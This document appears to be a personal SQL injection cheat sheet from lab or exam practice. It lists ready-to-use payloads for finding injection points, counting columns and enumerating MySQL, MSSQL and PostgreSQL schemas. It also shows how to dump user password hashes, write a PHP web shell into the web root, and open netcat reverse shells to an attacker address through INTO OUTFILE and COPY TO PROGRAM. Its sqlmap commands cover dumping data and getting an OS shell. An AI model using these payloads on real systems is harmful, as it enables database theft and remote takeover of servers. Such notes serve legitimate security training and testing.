Sql Enumeration Steps

🔍 1. Identify Injection Point

#injection-point

Start by checking for SQL injection vulnerabilities using common payloads in input fields or URL parameters.

Examples:

' OR '1'='1
' UNION SELECT NULL--

🧪 2. Determine Injection Type

#injection-type

Figure out which type of SQL injection you’re dealing with:

  • Error-based – Database error messages are visible.

  • Union-based – You can inject UNION SELECT queries.

  • Blind – No visible output; use true/false or time-based techniques.

  • Time-based blind – Use SLEEP() or WAITFOR DELAY

—> SQL Injection Type Identification

🗂 3. Find Number of Columns

#column-number

Use ORDER BY or UNION SELECT to determine how many columns are returned by the query. (we can use burp suite and observe the content-length for change)

Example:

' ORDER BY 1-- - 
' ORDER BY 2-- -
...

Or:

' UNION SELECT NULL, NULL--  

Or (using double quote type, rare in SQL)

" ORDER BY 1-- - 

Add columns until you get an error or invalid output.

Test without quotes if an error is displayed at order by 1

 ORDER BY 1-- -

🧱 4. Identify Displayed Columns

#columns-identification

Find which columns’ results are shown in the response.

Example:

' UNION SELECT 1,2,3--  

The numbers that appear in the response are injectable/displayable.

🧠 5. Identify Database Type

#database-type

Based on error messages or behavior, determine if the DBMS is:

  • MySQL

  • MSSQL

  • PostgreSQL

  • Oracle

  • SQLite

Use database-specific functions to confirm.

🏛 6. Enumerate the Database

#database-enumeration

Use built-in functions/tables to list databases, tables, and columns.

For MySQL:

List Databases

-- List databases
' UNION SELECT schema_name, NULL FROM information_schema.schemata;-- -

to see more than one database we use group_concat() which will put all the values from different rows into one string

-- List databases
' UNION SELECT group_concat(schema_name), NULL FROM information_schema.schemata;-- -

List Tables

-- List tables
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='target_db';-- -

to see more than one table we use group_concat() which will put all the values from different rows into one string

' UNION SELECT group_concat(table_name), NULL FROM information_schema.tables WHERE table_schema='target_db';-- -

List Columns

-- List columns
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='target_table'--

Get MySQL User Password

' UNION SELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- -

Full Example:

GoalInjection
Result
List DBsSELECT 1, group_concat(schema_name), 3, 4, 5, 6, 7 from information_schema.schemata;-- -
hotel,information_schema,mysql,performance_schema
Show Tables in hotelSELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='hotel' ;-- -
room
Show Columns in roomSELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='room';-- -
cod,name,price,descrip,star,image,mini
Show Tables in mysqlSELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='mysql' ;-- -
column_stats,columns_priv,db,event,func, general_log,gtid_slave_pos,help_category, help_keyword,help_relation,help_topic,host, index_stats,innodb_index_stats,innodb_table_stats, plugin,proc,procs_priv,proxies_priv,roles_mapping, servers,slow_log,table_stats,tables_priv,time_zone, time_zone_leap_second,time_zone_name, time_zone_transition,time_zone_transition_type,user
Show Columns in userSELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='user';-- -
Host,User,Password,Select_priv,Insert_priv,Update_priv, Delete_priv,Create_priv,Drop_priv,Reload_priv, Shutdown_priv,Process_priv,File_priv,Grant_priv, References_priv,Index_priv,Alter_priv,Show_db_priv, Super_priv,Create_tmp_table_priv,Lock_tables_priv, Execute_priv,Repl_slave_priv,Repl_client_priv, Create_view_priv,Show_view_priv,Create_routine_priv, Alter_routine_priv,Create_user_priv,Event_priv, Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher, x509_issuer,x509_subject,max_questions,max_updates, max_connections,max_user_connections,plugin, authentication_string,password_expired,is_role, default_role,max_statement_time
Get Username / PasswordSELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- -
DBadmin
2D2B7A5E4E637B8FBA1D17F40318F277D29964D0

For MSSQL:

List Databases

-- List databases
' UNION SELECT name, NULL FROM master.dbo.sysdatabases--

List Tables

-- List tables
' UNION SELECT name, NULL FROM target_db.dbo.sysobjects WHERE xtype='U'--

List Columns

-- List columns
' UNION SELECT name, NULL FROM target_db.dbo.syscolumns WHERE id = OBJECT_ID('target_table')--

For PostgreSQL

List Databases

-- List databases
' UNION SELECT datname, NULL FROM pg_database--
  • datname: the name of each database.

Tables are stored in the pg_tables view or pg_class catalog.

List Tables

-- List tables
' UNION SELECT tablename, NULL FROM pg_tables WHERE schemaname='public'--
  • You can change 'public' to any schema name (e.g., information_schema, pg_catalog).

  • Alternatively, use:

' UNION SELECT relname, NULL FROM pg_class WHERE relkind='r'--

(this filters for regular tables only).

List Columns

For Columns

Columns are listed in information_schema.columns or pg_attribute.

Using information_schema (clear and easy):

-- List columns
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='target_table'--
  • Adjust 'target_table' accordingly.

Alternatively, via pg_attribute + pg_class:

' UNION SELECT attname, NULL FROM pg_attribute WHERE attrelid = 'target_table'::regclass AND attnum > 0 AND NOT attisdropped--
  • attname: column name

  • attrelid: links to table name (use regclass cast for lookup)

📥 7. Dump Data

#data-dump

Once you know the tables and columns, extract actual data:

' UNION SELECT username, password FROM users--

📥 8. Get Rev shell

#rev-shell

for MySQL

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php";

then get a rev shell from the website

http://192.168.174.48/shell.php?cmd=busybox nc 192.168.45.173 443 -e /bin/sh

for PostgreSQL

this is using stacked commands (Query Stacking), since we cannot use COPY as part of a UNION SELECT expression

weight=5&height=5' UNION SELECT 'a',2,3,'d','e',NULL; COPY (SELECT '<?php system($_GET[''cmd'']); ?>') TO '/var/www/html/shell.php'--  &age=5&gender=Male&email=test%40gmail.com

or running a rev shell directly, if we have no write permissions

weight=5&height=5' UNION SELECT 'a',2,3,'d','e',NULL; COPY (SELECT 'dummy') TO PROGRAM 'nc 192.168.45.173 443 -e /bin/bash'--  &age=5&gender=Male&email=test%40gmail.com

🧰 9. Automate with Tools

Use sqlmap or other tools to speed up enumeration:

sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D target_db --tables
sqlmap -u "http://target.com/page.php?id=1" -D target_db -T users --dump

sqlmap for rev shell

sqlmap -u "http://target.com/?id=1" --os-shell